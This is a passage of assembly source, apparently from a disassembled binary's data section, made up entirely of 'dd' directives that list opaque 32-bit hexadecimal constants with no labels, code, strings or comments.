		dd 0C9A1007Eh, 4BCBBF23h, 56B00A5Fh, 83B81A40h,	28F0F112h
		dd 0C0C8F039h, 17073253h, 0E4B12D21h, 1900F7E0h, 0B81CA36Eh
		dd 943FBh, 6B28A03h, 680127E1h,	16578002h, 421F7946h, 0C976370h
		dd 209CF240h, 0D82049D9h, 991F088h, 312CE11Fh, 150AA820h
		dd 28CD59C7h, 9010E022h, 0E8BDC8h, 0AF3037EEh, 90FC9ECDh
		dd 0FE26218h, 1C6B499h,	0B5DDAAABh, 0F026AF28h,	0B24549Ch
		dd 0AA2644E7h, 0C4317D01h, 0B8D3C7D4h, 3836CC5Dh, 3D00BED7h
		dd 0E107CD9Ch, 3030491Dh, 92F479BBh, 0EB9CC1Eh,	0C700C4D8h
		dd 0BEC3F780h, 341528E7h, 0C0B1609Fh, 45EE9CD2h, 0C21DE200h
		dd 9EA6D8C5h, 13210085h, 0C428FDFBh, 7903E6D9h,	8CC62DBh
		dd 2A4FB1D1h, 0E1185C27h, 0AAFCD915h, 0FF002DE4h, 0ABB5729Ch
		dd 2EB801CFh, 0A42BDEh,	3F696F0Dh, 0A9C01230h, 1596CC98h
		dd 0FEF400FFh, 428EAC84h, 0B62B6C50h, 3C88F8AEh, 8F289118h
		dd 0FBB7E123h, 0DDC7BE94h, 0A8508823h, 14DC3BDh, 0E742D38Eh
		dd 0E8B320DBh, 95181886h, 0EC510EE0h, 0B8F00FDh, 0AB4B6A76h
		dd 2D0A850Fh, 0EC485C45h, 0F4A9151Ch, 47172A60h, 0AB7F0912h
		dd 7418EC51h
		dd 22E9C24Ah, 9F300398h, 0E0AA1437h, 51385755h,	0ECFCF01Dh
		dd 12CE0033h, 0D0CDBE5Ah, 823478B3h, 9040F029h,	9AAF5DCAh
		dd 0A6F00A91h, 344E6C4h, 507D198Eh, 7145D8D9h, 4ACED4ACh
		dd 0CB504E50h, 8AF9A000h, 0E6B257E1h, 18B70428h, 8011B89Ch
		dd 138EF234h, 0FBC269C0h, 92B54922h, 0A6340930h, 24231DD7h
		dd 29000D2Fh, 0FCB6159Bh, 15FFEC4h, 0D161A1BFh,	70F6E243h
		dd 5148EAA2h, 752212Ch,	6473369Dh, 6038C7CBh, 0D3B83F06h
		dd 0FA80A491h, 0F3C8671Eh, 48A01140h, 35AB00BFh, 6FA54463h
		dd 7E9F0BE3h, 681918B1h, 0A822E0h, 925E3556h, 2CECBABDh
		dd 0C268B2F0h, 54659BF2h, 0DE208687h, 0FDBBE630h, 0C27830D7h
		dd 49138779h, 5901187Ah, 2672584Ah, 2C2278CFh, 39A5A400h
		dd 0CE4E2E49h, 0AD82D400h, 23FE412Ah, 2D2C2AC7h, 1CE030B0h
		dd 131BB4A1h, 0BDBA8A04h, 0A098B0A8h, 15880C6Bh, 0E699B194h
		dd 8CE4124h, 48EBA902h,	5446D8h, 771E7FA8h, 0BEB1C370h
		dd 4358D502h, 473B056h,	0F28C981Fh, 9F09053h, 81C42DFEh
		dd 0E6D48320h, 5800C432h, 90D2FB36h, 92268EF6h,	4140FCD5h
		dd 3EEEC4CFh, 0A819DD28h, 81DEB0ECh, 0E4406139h, 44313832h
		dd 264553E0h, 0A4C87668h, 4003C994h, 6493E0B3h,	0C58C009Fh
		dd 5101E5BEh, 65916ECCh, 0A9BF3E3Ch, 222DA500h,	0FA1B7C69h
		dd 1770D907h, 5C00B92Bh, 12686B2Fh, 342220B2h, 1ED88204h
		dd 44D41A21h, 0F0357921h, 81876830h, 0A5310C9h,	12C4B27Ah
		dd 4054E9C5h, 39BB74A8h, 0ED003DAFh, 0EA52E30Bh, 54A28475h
		dd 0F615026h, 0A047E703h, 12CD0132h, 774D6B8Fh,	0B0502E68h
		dd 0E4D5360Ah, 63427D00h, 629AF469h, 0ACE74947h, 187FA4A1h
		dd 82CBC4A5h, 0C66EB14h, 48C217A8h, 3C000153h, 17141E50h
		dd 4F99003Ch, 2918F062h, 882811D8h, 7970144Dh, 56F20C7Ch
		dd 0B8269EF4h, 88013483h, 3CE56769h, 0C2301C63h, 59A09EA1h
		dd 6BF68A0Bh, 5CFC8429h, 3EA1E080h, 0D81D58D9h,	75EED2C7h
		dd 611CC560h, 22E11A60h, 1C750750h, 0CF4359E7h,	5A41E8DBh
		dd 96C21CCEh, 8FF24A9Eh, 5C125880h, 3136E21Eh, 57E78A21h
		dd 0A65A80CCh, 75C34B0Ah, 4D58BC05h, 9C2BDAh, 95F11915h
		dd 3278C028h, 7F570020h, 1993720Ah, 0A43200CAh,	44D81A4Bh
		dd 4EC61099h, 91492Fh, 2D946BEDh, 7EBE4CA4h, 8708EC00h
		dd 863A6966h, 0BB6379Bh, 0B94DD398h, 0D68A6103h, 0A8437321h
		dd 5C6394E6h, 0E216338Eh, 5B5100AAh, 4F33620Ch,	0BC93162Ch
		dd 0A4845D42h, 58990E74h, 530B2866h, 80901B38h,	19C945A2h
		dd 48C88443h, 66096140h, 6D0B76BAh, 87059C5h, 582C705Ch
		dd 9D1505E0h, 1C3499A8h, 0C0D50155h, 20ACEFC4h,	140808B0h
		dd 0E22D4F64h, 0C293D91h, 17D416Ch, 8DE6A809h, 4CE2B41Fh
		dd 28DAC864h, 48DC66C9h, 2307C821h, 0C033D7BAh,	40D00792h
		dd 38BD9C24h, 0A4601A92h, 943FE65Dh, 50803EF0h,	42D76F24h
		dd 5A58E254h, 17DD00EBh, 96A60A82h, 97BC0EE5h, 72AD55h
		dd 0F12E08C0h, 15062966h, 14E27ED9h, 0FA560089h, 0B60EB34Fh
		dd 1E03A38Fh, 0C79F8BFDh, 0B7999020h, 0AC464CBEh, 40432FC5h
		dd 4BF00D80h, 15016244h, 8526EF0Eh, 0B4CCF806h,	8B670556h
		dd 9C6C6528h, 0CCBB9140h, 98CA158Bh, 0F58FF4C4h, 0A1C22182h
		dd 90E42FC9h, 118C500h,	714BA83Bh, 0ED67182Ch, 0E15FCCEAh
		dd 12C6B73Dh, 0CCC20E70h, 0EBB32011h, 6000CD6Ah, 0C00878C8h
		dd 91837E91h, 5E618E64h, 2EBBF041h, 0C8A83693h,	0E9C4C20Eh
		dd 5505044h, 0F400B0ECh, 761739B5h, 0E3E6109Bh,	0C880DC2Ch
		dd 2158CBFBh, 2A82D506h, 3D59452Fh, 0B380E4EEh,	2419D20Bh
		dd 844B6A56h, 0F1B83Ch,	82E89652h, 0E345A643h, 770B01ECh
		dd 1AFF3FCh, 0DE7147A1h, 84BDF430h, 22073B11h, 40FCE62Ch
		dd 0A1D9091Dh, 76FA0307h, 53DFC649h, 485DE070h,	89E76130h
		dd 0BD4298F4h, 80552AB9h, 3C0D0C00h, 81CB674Fh,	268E0053h
		dd 0D98BF9B7h, 0CD0FD5E1h, 0C9F7FD79h, 0D8E413E2h, 4E4D34EFh
		dd 0E0CC310Bh, 1D218F06h, 7B9180C8h, 1ECB811Fh,	0DDC7B3h
		dd 1B5A320Eh, 0C8AE8FD7h, 3A4674A0h, 781A48h, 292776D1h
		dd 2CD0028Eh, 405C2F23h, 0D9FDA26h, 0D6E9491Fh,	9C716581h
		dd 6C289615h, 901C86A0h, 37564F00h, 0D482E529h,	209C98E2h
		dd 0C4001101h, 3181EAD9h, 5DAED721h, 2AC1E8B7h,	0FBD0B267h
		dd 786C48FAh, 2B261A46h, 0D8102508h, 78072AAFh,	0EA5F9B9Ch
		dd 0EF5E84C0h, 3BFBE043h, 78481095h, 87046422h,	1FACCA99h
		dd 27F498A0h, 3C98AA9Bh, 18C9A532h, 203CE790h, 0B8DA21F4h
		dd 26A18F1Fh, 0FC5F407Ch, 0B9008A95h, 34C0BD4Eh, 1012445Ah
		dd 2525892Ch, 6154988Dh, 92B4B13Eh, 7CF81417h, 0FE33BCC0h
		dd 0D97529DDh, 1702AA02h, 67F59C41h, 0CDE28080h, 0D426E998h
		dd 8024E048h, 4785A178h, 8448E17h, 0B0CB00C5h, 34A9AC7Bh
		dd 0F2003257h, 0E7FC0476h, 980AE35h, 946CAFEAh,	5E2908E4h
		dd 0FD08F484h, 56C18610h, 8900E93Fh, 8EC6CFA4h,	16E54BA9h
		dd 22C9152Eh, 687BFD4Ch, 9BF36F02h, 0FBC22020h,	0DC0EA42Bh
		dd 0BC2A43h, 48E41617h,	0A4AC94D9h, 28A114D4h, 0E088E52Eh
		dd 5247AADAh, 3026E42Dh, 16492358h, 12DE351h, 0B71AA22Ch
		dd 0C4346018h, 8044E658h, 0C9D80234h, 0FCD400D7h, 0C428E74Fh
		dd 30E9D0E2h, 5D89B91Ch, 7E009436h, 16E5F2E6h, 0C25C94FBh
		dd 0B0D605E8h, 0FC504AB3h, 4DF063DEh, 67C900BAh, 0EEACF71Dh
		dd 0E6032064h, 150D1825h, 0D805A8E2h, 64C49E80h, 3840884Dh
		dd 83CFBC3Dh, 0B09B08E1h, 70B9EA66h, 5C75E2E4h,	80DC582Ah
		dd 97ECF0ABh, 5F01D3AAh, 0B71FDB71h, 0A860DF8Ch, 2F498861h
		dd 0E26193F7h, 0AD6BA8D1h, 49E6D9E8h, 58883895h, 0AC923402h
		dd 7B0598Ah, 53EC690Ah,	0CAD84C5Dh, 0FF48C207h,	51AEC038h
		dd 47E752h, 7B9E65E5h, 3E979314h, 0F8375D00h, 31535B2Dh
		dd 44ACB1C1h, 0B983404Ah, 6AEB4EBBh, 514C3CA6h,	829E6h
		dd 0E7A26312h, 14173E30h, 0E0CF20B2h, 4D33B522h, 0B00EF1F5h
		dd 34344h, 0BE296D18h, 6169E694h, 0E1ED7A01h, 227EDAF4h
		dd 5D08F076h, 4B80BD4Dh, 0C5651AF3h, 92F900C8h,	89338B8Ch
		dd 0E32E4723h, 0D00F2E6h, 0C1E13DF3h, 42A4D58h,	90CB5E88h
		dd 1E7E4E78h, 2C2CABEFh, 0B8223978h, 8460FC96h,	1738A557h
		dd 611CF61h, 0E82A6260h, 1C40A142h, 0EE6E00E2h,	56F6C2FDh
		dd 0BE24B980h, 4DE06498h, 59794E6h, 8087C0DEh, 0EEF8C0B8h
		dd 8326564Bh, 223A84C4h, 39ED1225h, 0CA48DDD0h,	0A8C5C023h
		dd 5C3E857h, 0EA377978h, 34CA6F7h, 995E0C2h, 0E9C89883h
		dd 0F0ACE1F5h, 0B73660E8h, 38391232h, 6E3B5Bh, 0FEC786E4h
		dd 32BBD27Ch, 9DF02E50h, 0E4405D20h, 0E0AD278Ah, 1CD73822h
		dd 0C5931202h, 41489F64h, 0E85DA5Bh, 7426E6h, 18CD195Ah
		dd 5647C3D2h, 4D18DC91h, 0BE3041C6h, 0FB9D112h,	20B7D872h
		dd 7088B2A2h, 0FA0B7E00h, 67781F47h, 0CD2502B1h, 0D6CC9AC0h
		dd 98F24460h, 304728B6h, 88929248h, 1B1CD2E4h, 2A809F1Dh
		dd 28EDB237h, 7A092045h, 60BEC429h, 0F3314886h,	40E24B89h
		dd 67921CC0h, 0CF00F61Bh, 9A8D187Ah, 0E05EB5CDh, 0BA290049h
		dd 152C4ED4h, 5388B2BBh, 0CCD84844h, 3D2045A2h,	1490530h
		dd 84D4DFD7h, 33246BAAh, 85320044h, 0B51BE177h,	14C1006Fh
		dd 0BF70CA8Eh, 2F020A75h
		dd 0BB3A0510h, 0C85CEEBEh, 0F48BC6C0h, 0E7D01091h, 0A990A856h
		dd 9B4500F3h, 5F3762BCh, 3200E64Ah, 285BB7A0h, 9E0756C0h
		dd 9F1286B0h, 0E64ED1AFh, 2300450h, 751E235Ah, 112840D9h
		dd 80A093ECh, 54AEE418h, 6BE8B15Bh, 0A84CF615h,	2020D7B8h
		dd 2E0514h, 0D8E1E21Eh,	93B56A9h, 53BC44A0h, 104DC1C9h
		dd 0FAB498h, 0DD639D08h, 0BCEE52CEh, 87922105h,	0BC600D86h
		dd 0D35ABE15h, 9D3C0A41h, 61A2408Ch, 164BB763h,	60C6B467h
		dd 94614C31h, 8E0162Ch,	2F14797Dh, 23027520h, 0F1E67CA6h
		dd 0C0C6685h, 12095354h, 48913CC1h, 0C9167C07h,	0B7A66ED0h
		dd 6149387Ah, 8288AE81h, 2CC51593h, 447488F0h, 5F24B32Ch
		dd 59611420h, 0D6ED0081h, 0CFA21DF4h, 3D27185Eh, 2E4142Dh
		dd 33976343h, 0E4C6C8BBh, 90FD511Eh, 2934A307h,	0D332008Bh
		dd 13378BC1h, 822B9166h, 49221D24h, 9EECE62Ch, 2B894F84h
		dd 629340AFh, 0DDE05490h, 99134F3Dh, 0C427306Fh, 2C6CE5C0h
		dd 0F834132Eh, 98145724h, 0EA0086B8h, 5E7051B8h, 0F07AA8BFh
		dd 1FC62326h, 7CD0D138h, 0A5BB8058h, 48CBADDh, 0EEE3F87Ch
		dd 0CCF8802Ch, 4D39EF56h, 0C8311E78h, 2F0CECC5h, 48BB9049h
		dd 47EC54Ch, 0BCF15CB4h, 0EB50E43Ch, 4C139200h,	0C12778A6h
		dd 0E498006Ch, 3AAD7D30h, 0C6700448h, 59B52938h, 68548A7Ch
		dd 75F5AE80h, 5F933Dh, 0D138DB2h, 0BD380A85h, 0E9E25404h
		dd 7C82C1E7h, 0B5432E17h, 4100C348h, 4ACB9E1Eh,	0BBE70A2h
		dd 519A99E5h, 0B439B889h, 5BCD10BCh, 0D8990981h, 70302BD6h
		dd 954B2220h, 0FC2C9020h, 0D3DC00B5h, 0A290F92Dh, 0C602679Eh
		dd 551244CAh, 452A40A9h, 90809281h, 0C52F2234h,	72FE4F07h
		dd 0B3C02A29h, 3C9F8EE0h, 634B5D96h, 21000560h,	0A0E8A2DBh
		dd 969B873h, 389FDF79h,	0C202686Ch, 3F0150CBh, 90005278h
		dd 85D94C50h, 29B35900h, 4EA27045h, 6F0DA300h, 48B7CCE0h
		dd 0FCBE582Bh, 0CC30DEB0h, 0A48A0404h, 74A6B83Ch, 293B2F18h
		dd 0D8006064h, 4E87B511h, 1E8F2850h, 9B415C1h, 0E882FBEAh
		dd 20412C79h, 44C214E4h, 88E72510h, 0F90003C4h,	4908A6A1h
		dd 1F5A2h, 0C46EB19Eh, 7259BC40h, 4C34304Ch, 859EB0B0h
		dd 0CD94394Ah, 4C32D61Fh, 4921761Ch, 25393118h,	9BC02BE1h
		dd 20DA3FA8h, 393D9724h, 0F3768F01h, 0DBE5C15Dh, 0F700A832h
		dd 2814C62Fh, 0A40F5A02h, 321C767h, 0A8773159h,	0EC0E2BC3h
		dd 0FEE40E97h, 0E5426D0Ch, 0A3409123h, 0BE5CC844h, 41C20474h
		dd 74F67D83h, 182C2305h, 0C8CB3D0h, 0E1EADA49h,	3C91E2h
		dd 5D576B61h, 0ED1FF362h, 688019DAh, 604577A3h,	9541FA1Ah
		dd 0E482490h, 9EDB8A4h,	8E6074h, 0DBA00AE3h, 5F4117EAh
		dd 862D75Fh, 40045C91h,	16B3961Ch, 0A0E1101Fh, 1CE32C0h
		dd 1CCDF129h, 40EEC33Ah, 0BCBBA23h, 46602F77h, 8239B939h
		dd 0C6BE00CCh, 0FEBAD21h, 5AF82DEFh, 5DCA1D02h,	0F9B734E7h
		dd 7E74C0A8h, 960427B9h, 5D671FE5h, 146A9871h, 0B406F0ADh
		dd 4114E159h, 0BF6A0200h, 610B1536h, 0CA07003Ch, 522BFE9Dh
		dd 4C7FF23Ah, 0A1056C96h, 0A6C0EE7Ah, 0F94D5095h, 45E57C70h
		dd 0A8C44010h, 0D490E214h, 84962B1Eh, 832E78D0h, 89F43EFCh
		dd 600A10BEh, 541009Fh,	0B0CE729Ch, 6F29B9E2h, 0BC40B419h
		dd 7429C412h, 0BDD9273Ah, 89D4411h, 453C4E53h, 9919C480h
		dd 634430D8h, 0E7391200h, 0DEDF5114h, 0B7CB2B65h, 1EA48898h
		dd 0C6080FA7h, 0F8612E12h, 224CB896h, 0BF44EAF1h, 59C218B7h
		dd 0D9066CBBh, 54BE7F26h, 0A5C3FEC3h, 9638C8h, 0B0139EE4h
		dd 35B1F1CBh, 0EB71A000h, 0C4BB88D3h, 82A5C82h,	0ECA33AC3h
		dd 5C05B21Fh, 39C84844h, 6180CCACh, 201623AFh, 15A0EA01h
		dd 170F10D9h, 0E4A849F7h, 0BDB8C8h, 0ECC21F36h,	9E8F45Fh
		dd 0D93B1213h, 0F2FE898h, 1D61CBh, 6EC39724h, 30FB0033h
		dd 0CD577E95h, 0C04A47D4h, 43929C04h, 8440E742h, 0D511600Fh
		dd 0FD913DFDh, 6DD0817Eh, 6905D4B6h, 4BCBD2Eh, 17260911h
		dd 0E259C03Ch, 935CF2E5h, 4930C808h, 0DB00D059h, 35A96B9Fh
		dd 0ED540050h, 0E3CDBEF3h, 4A2B7E8Dh, 253C8092h, 9EC8CC3Eh
		dd 91CF670Ch, 93FD9C42h, 942CE391h, 301645FFh, 0B1279B58h
		dd 8C7810B7h, 0F3C80074h, 3822888h, 58B32FE3h, 122AFE81h
		dd 6022C132h, 8350F400h, 0E982E448h, 1CBC280Fh,	19BD3C8Eh
		dd 0E229F62Eh, 0CF00BC69h, 0E6CCA09h, 4D00DDBCh, 0C2751D30h
		dd 2632F9E8h, 0E414AC14h, 7905400Eh, 0B88F6A1Ch, 14D716F6h
		dd 0B2E065EBh, 765F009Ch, 694CEFD1h, 0F0670071h, 7EA11823h
		dd 0A902917Bh, 0C82ED9Bh, 0A110F819h, 902C6277h, 0AE8B5181h
		dd 9F4AE0D4h, 18B41B38h, 0FD8913E1h, 2D23003Ah,	0A79AC961h
		dd 29705EE6h, 2CC70105h, 0A0D40DB0h, 0DCDD2840h, 261B1233h
		dd 3E4A0605h, 0A78100CCh, 2050699Ch, 7105C77Ch,	0D3BA3BABh
		dd 0EC9570A2h, 6AB4CD83h, 1F924C90h, 941334B3h,	88C62098h
		dd 6912FE30h, 58C4D5F2h, 0A6C24000h, 0ACF132h, 436ED3C9h
		dd 41034870h, 24D19C24h, 0D5A2C282h, 0D45A3Ch, 53B1DD4Dh
		dd 11C6FB3Fh, 23ADC507h, 0F301ABB7h, 29960E8Eh,	2CE420E7h
		dd 0CC38F57h, 0B81FD126h, 93327139h, 2EC8A698h,	68F840E4h
		dd 6607B112h, 0E4934BBh, 0B701C000h, 0B57B0F9Eh, 28EA5A27h
		dd 0D2C761B4h, 0B483F49Ah, 0AB373400h, 0A766A8CDh, 9BF42977h
		dd 9568BA0h, 21C560E9h,	4198C984h, 0EAB450DFh, 0BCAC08DBh
		dd 1518F101h, 202EB72Ch, 0B9778E68h, 0D4C1D915h, 83BEC8BCh
		dd 8047B00Ch, 5B86D08Fh, 9B01BD85h, 0CF263F81h,	54332948h
		dd 11335903h, 38E1A662h, 7F6CF41Bh, 0B31A780Fh,	41E6830Fh
		dd 71793B84h, 0C5DB1F80h, 8BB0537Bh, 0BCF2801h,	0D7DEAA90h
		dd 4C0F4EF8h, 392250E5h, 78E0C200h, 0EA806025h,	0C1310297h
		dd 0E5673507h, 5D85D459h, 6CC065E6h, 0FA4A30h, 0B7B958C7h
		dd 27981B69h, 2CD8934Ah, 50FE03C2h, 1830B544h, 461FD8B8h
		dd 0E5777D17h, 0BBD47877h, 1F90F443h, 81C2F927h, 88D948D8h
		dd 69115466h, 0F022ECh,	0E18DDECFh, 2A96A6D4h, 3A81A701h
		dd 0A953EBC6h, 0C3C18CF5h, 55002C26h, 68AAE0C1h, 0BF60DB6Fh
		dd 6C3982C8h, 0DCE54E90h, 134446F4h, 739E01C5h,	0B0DEA44h
		dd 0A8223EF3h, 4307BBFh, 0D786DAB3h, 0B96E2EA8h, 5670E012h
		dd 28103D28h, 4DE45001h, 0CB433A5Fh, 0A4A8042Ah, 800E480Dh
		dd 0BFB4365Ch, 0AF0A0894h, 68F9E3DAh, 9765E5C0h, 3FBA0B09h
		dd 64C4BB16h, 0ACEDF23Ch, 491168D0h, 4056C20Bh,	0B0692C98h
		dd 16B2BD19h, 121107A0h, 0A0BC28BEh, 1E8BB8A3h,	647EB56Bh
		dd 681D14FAh, 5C8162Eh,	70E88CD2h, 97295DA4h, 0FA14CC0Fh
		dd 0F315C260h, 0BAA0918Fh, 2D2C713Eh, 202910C5h, 48A0A4BFh
		dd 8780A478h, 0DF577B1Fh, 2286739h, 622D0444h, 511441C2h
		dd 8E88B708h, 0A6340055h, 40140E9Bh, 315ADFD9h,	6CD82064h
		dd 48C309FCh, 10038683h, 991116Dh, 12785156h, 96FC3D9Dh
		dd 20B94C62h, 0B959849h, 50D9400h, 62F39954h, 0DB1104A8h
		dd 0D9F29D61h, 64742B44h, 0A7DFDCACh, 380FC064h, 6046F253h
		dd 738EA93Bh, 7CB20596h, 0A431452Dh, 305248DCh,	976303A4h
		dd 120CF806h, 98843F58h, 0F1E775Ch, 0AE8055D1h,	0ADA0A269h
		dd 0AAB61450h, 4FA08CB7h, 20913853h, 5E9EBE00h,	0BECADh
		dd 0C6BC2907h, 0E8408B14h
		dd 57EF34A0h, 6F640A01h, 831EA52Eh, 28DF8C8h, 4AD75603h
		dd 6454ACDFh, 919AF4C2h, 2819E38Ch, 4BD68550h, 7AA16380h
		dd 607C024Ah, 0A8711F02h, 0AEC01C7Ch, 0E285BDBFh, 5DE0C7h
		dd 51433249h, 5A99452Bh, 8CB78026h, 884AE911h, 0D000BCB4h
		dd 0E0BB6072h, 16C3C3Fh, 6AA6B552h, 26E36DEAh, 0AC4B24C4h
		dd 429CC625h, 444E2496h, 0C21E7C40h, 67FF0EBDh,	0DD608737h
		dd 3AD575BAh, 0ACC70C3Bh, 0F060285Ch, 0B9F9FDh,	0BF4CB2A7h
		dd 7473CACDh, 9023AA25h, 59ACB8h, 0B9755A45h, 0B79398A8h
		dd 5D820A07h, 7A50FB4Fh, 5B15D0EEh, 0C6BC42C5h,	1538B594h
		dd 60F891BBh, 3016DFB1h, 8723F15h, 8021C8C4h, 787C0987h
		dd 4B64A11h, 747A3542h,	0F7CBC074h, 8A07EE1Fh, 423F0771h
		dd 0AAE7E2C0h, 27834374h, 752C645Dh, 38A3B076h,	488E1798h
		dd 74C07ECAh, 0E61634D7h, 52D80318h, 24BEA7DAh,	4D8103Eh
		dd 0F8CB9438h, 8E63C09Ch, 0E8DEFCh, 0B4315AE1h,	0D667D037h
		dd 23C41CB6h, 809DB8ECh, 39CAF81Ah, 4A00527Fh, 97C54B9Bh
		dd 124CEC30h, 0E3E47DA5h, 0EDD21374h, 0FD216E00h, 724C038h
		dd 0D91666C9h, 1C5BC9EEh, 9A9E81BBh, 0BDA2A514h, 0C3221C79h
		dd 0C8045F00h, 0C1A68264h, 207E02DAh, 294528C0h, 0E64BF044h
		dd 96034C40h, 33472Ch, 20247C1Ch, 0E41AF44Ch, 1BF36803h
		dd 0E12E0434h, 666A90E5h, 9C6014A0h, 9DB3A192h,	0C03D0042h
		dd 5FE8E1CDh, 8E31F449h, 48C2E17Ch, 0C6000C22h,	0E89303D2h
		dd 32F9B0F0h, 793B0578h, 0E80EEFBh, 0E5D922Ch, 113E7D77h
		dd 0A945B284h, 87E68754h, 8443Bh, 16F07ED9h, 0E3CC2103h
		dd 0F370C201h, 0FF623643h, 2576E4D8h, 0E4C5BEC5h, 0FC069013h
		dd 9859E6D8h, 0C51F4478h, 35369316h, 1E5D0498h,	0C570CD0Dh
		dd 88E24FF9h, 0A700A0F4h, 781E98E9h, 91FC461h, 5DA66642h
		dd 8B5D4466h, 80C496F0h, 4309BCECh, 4CC848BFh, 25003E05h
		dd 42BD7932h, 4D0DFBh, 0A6D5863Fh, 0B7292019h, 0F8B38DFh
		dd 0E424C3D8h, 0E0580E4Ah, 0A00AC549h, 0C454945Dh, 0A2240E43h
		dd 0C46403E0h, 0E8081D3Ch, 4C19DA35h, 105804B6h, 58CCB6D3h
		dd 0A615220Ch, 0E2C90084h, 18AA7C6Ah, 60E4C427h, 90020C5Eh
		dd 0F13D96F2h, 0AC132F70h, 2CC720F4h, 0E0B8B788h, 0C90085DCh
		dd 0C714672Dh, 5A9AE807h, 8C509C90h, 4445BC0Eh,	56BF62A3h
		dd 2EFCDA42h, 0B38078Eh, 3C0899D9h, 2245E488h, 4C43Ch
		dd 2F2E7C35h, 0CF6E822Ah, 0B7A82809h, 0D1B87A4h, 8805248Fh
		dd 0BA22DCA6h, 4CB6EA1Dh, 3A65A0C7h, 8C15A970h,	79BF0566h
		dd 0D187B4DEh, 8120AF0h, 0A0750F9Eh, 0F48BACCDh, 0E4A840D1h
		dd 594808E9h, 980D42Ch,	9F15D4FEh, 0B7223E42h, 6579F903h
		dd 9833D10Bh, 1D358C5h,	7E85AA59h, 0EA862ACBh, 2CFD854h
		dd 5A74560Dh, 0A0122C70h, 3A944830h, 690BBD44h,	4001F960h
		dd 17741ACh, 0D7E56379h, 362B2935h, 94872B94h, 0A405305h
		dd 2049B822h, 30EA875Dh, 68116300h, 0C9024A64h,	0BDE6EA75h
		dd 6C54700Eh, 0C898F413h, 8345D38Ch, 304C0461h,	18F98632h
		dd 0F20C40C0h, 0C91C995Ch, 31479E5h, 90B5974Ch,	0FBE120FFh
		dd 0A5383A75h, 22C180BEh, 0FBBB7D1h, 8078BB9Fh,	3672B32h
		dd 0A122007h, 0E0880956h, 698777B3h, 0E4CA9811h, 4C2C7045h
		dd 18EB5824h, 0A1CC4Ch,	3CC98BAAh, 3AB2261Ah, 95A64700h
		dd 7C5EE8C1h, 0D4832535h, 29045866h, 28E5AC4Ah,	1FF18B1h
		dd 0DAE223F9h, 6B5B46F9h, 39727802h, 84E459D0h,	0C8DBE661h
		dd 0F9F8DD74h, 1C805F00h, 7643B54Bh, 128E1CB0h,	492700C2h
		dd 0C8C669Fh, 582A173Ch, 5E1A0FACh, 0B87804C1h,	0E15CFA40h
		dd 53EAA544h, 0CBF6190Eh, 0D58BF67h, 94931269h,	0CEE05038h
		dd 0B1008CB8h, 945C935h, 4AC2BD4Bh, 8AA438AFh, 0D2181600h
		dd 45D162BDh, 6DA31C97h, 0A70D8F78h, 2D849856h,	2F98BA52h
		dd 0A470A03Ch, 13C314B3h, 0F355F06h, 0A3339BD3h, 0AB22D8h
		dd 9F3AE92Eh, 0BA4A3D0Ah, 8E7734E0h, 9C21EA44h,	0C619E044h
		dd 70778B9Eh, 1F55DD01h, 97C0DF96h, 0BECBCDCh, 0E653C762h
		dd 6695FC20h, 3096491Ah, 0C0304806h, 0EC630549h, 0B92A5C44h
		dd 0FABCC0D4h, 5DD9C611h, 2B82DCE2h, 0E45E3112h, 0F7C1DE40h
		dd 0D95802D1h, 7DC92097h, 909DF46Eh, 0B12D930h,	80F04520h
		dd 40BC40A4h, 3A534DDEh, 584F4DFFh, 82796D10h, 2258A32h
		dd 30742A97h, 908D3E40h, 885C5A58h, 84001378h, 0B7BC3403h
		dd 0C3AFCEh, 1841D9CFh,	0C66C146Eh, 16405899h, 0C477CDh
		dd 912981D4h, 0DA4C56D1h, 0A2E25894h, 10C11154h, 234F5AFh
		dd 0EA933306h, 887C3CE8h, 2F1220E1h, 0C4131023h, 30A2BEh
		dd 0A02075FFh, 12FA5401h, 8B6FE90h, 0F285BCB4h,	0E0B24995h
		dd 294D8A22h, 10ADDE1Ch, 9C1F44h, 3C31C4Eh, 0CE69671Dh
		dd 0E747FD04h, 0DCE987A3h, 0F1D949A0h, 45B091BDh, 9054772Fh
		dd 52AACD9Dh, 676027Ch,	1CDB3A00h, 190DBA55h, 44945495h
		dd 9E670063h, 8B09D5E2h, 0D812E937h, 0D49C1144h, 60AB24EDh
		dd 0BD380038h, 9F21348Ah, 36FF47E2h, 0E4B92D28h, 5F560014h
		dd 7EFA6678h, 4000088Fh, 80613713h, 0EA5E839Bh,	3F29125Ch
		dd 54E0C879h, 0F0AB930Eh, 82D281CDh, 0FAF3B545h, 0C40874B9h
		dd 79BE4010h, 63E768h, 28B8ACEBh, 485E8682h, 98A6EC0Bh
		dd 40C079C1h, 1649E823h, 0FDC39F7h, 1FE83A4h, 2DA0A564h
		dd 88F4A434h, 14B797F2h, 0B810038h, 17BFB75Bh, 0F0B767B5h
		dd 0C42155C2h, 247BCA61h, 80C56D4h, 456407A8h, 8AE93240h
		dd 8B000E97h, 6AEE650Ch, 2CBED53Fh, 2E083F7h, 24A47646h
		dd 2CC82000h, 20684A91h, 34A5BF3Ch, 16EC2397h, 9615C9F7h
		dd 0E614413Ah, 0E5816D51h, 58043A89h, 3C4B110Ah, 63729C10h
		dd 0E4383D01h, 12245C3Eh, 0AE216C3Dh, 0A21CF216h, 53216h
		dd 0F802E946h, 840F4253h, 5B411428h, 0F0FFEBFAh, 120A83F8h
		dd 248427A1h, 0E7F81127h, 6000DC22h, 35F9617Eh,	2D3B75E8h
		dd 700C0B1Bh, 0C4A4075Ah, 88591614h, 6C8C31CCh,	223680ECh
		dd 45BB8Dh, 7B41BE3Ch, 0F2FCE408h, 0AF564701h, 0D940D35Dh
		dd 74EDF042h, 345CE00Ch, 24007EB0h, 306F2BE9h, 96AA5FCh
		dd 0F1E09290h, 1214AC49h, 8E20F43Ch, 0D240DCBEh, 7E525475h
		dd 22B0C15Ch, 0C4BB001Ah, 0AC493367h, 0AE1228E3h, 0ECD04D61h
		dd 0F4E7E88h, 67323C5Fh, 30705316h, 0EBD98C24h,	15BB3Ah
		dd 13734BC8h, 11BA6B5h,	0A443EE6Ch, 42CDAF8Eh, 70C21FD0h
		dd 2240C05Ch, 8CA77h, 0F4BB44D0h, 7FFDE75h, 0C3999100h
		dd 0FA31705Ah, 88494F09h, 15152BB8h, 4CD43C9Fh,	0BA8DC0B8h
		dd 35FA360h, 0C1DCEC37h, 5E901257h, 0ED60930Bh,	455321D8h
		dd 40919D15h, 88C60857h, 0F815FB1Ch, 81E82F5Fh,	269C425Eh
		dd 0C2A8003Eh, 0DB97B3DAh, 8986C800h, 0EC36E57Bh, 84344DCEh
		dd 84E2C510h, 0B5257697h, 60333180h, 0A5014B39h, 0C38BD424h
